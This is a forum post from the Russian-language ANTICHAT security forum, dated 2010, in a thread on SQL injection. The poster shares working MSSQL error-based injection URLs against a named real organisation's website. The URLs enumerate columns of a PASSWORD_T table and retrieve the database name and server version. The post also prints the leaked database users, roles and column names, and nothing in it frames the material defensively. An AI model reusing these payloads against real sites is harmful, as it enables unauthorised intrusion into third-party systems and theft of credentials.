FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Опции темы

Поиск в этой теме

Опции просмотра

#38

23.02.2010, 20:21

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

Провел на форуме:
3363660

Репутация: 1148

mssql
перебирать впадляк но понятно что можно какой то софт взять но сам пробывал ...

Цитата:

http://www.iea.org/index_info.asp?id=854+or+1=(SELECT+TOP+1+COLUMN_NA ME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAM E='PASSWORD_T'+and+column_name+not+in+('ID'))--

БД:dbo,guest,INFORMATION_SCHEMA,sys,Ian,iea_read er,iea_data,Writer,Reader,db_owner...
Таблица PASSWORD_T:
'A','ACCESS_LEVEL','ADDRESS' ,'AFRICA','AIM' ,'ALUMNI','ANCHOR_NAME' ,'ARCHIVE_START' ,archiveid','ARRIVAL_DATE' ...
имя БД :

Цитата:

http://www.iea.org index_info.asp?id=854+or+1=(select+db_name())--+

версия:

Цитата:

http://www.iea.org/index_info.asp?id=854+or+1=@@version--+

Кстати здесь идеальная ошибка как писал забаненый cash --> Unclosed quotation mark after the character string

Последний раз редактировалось Strilo4ka; 23.02.2010 в 20:31..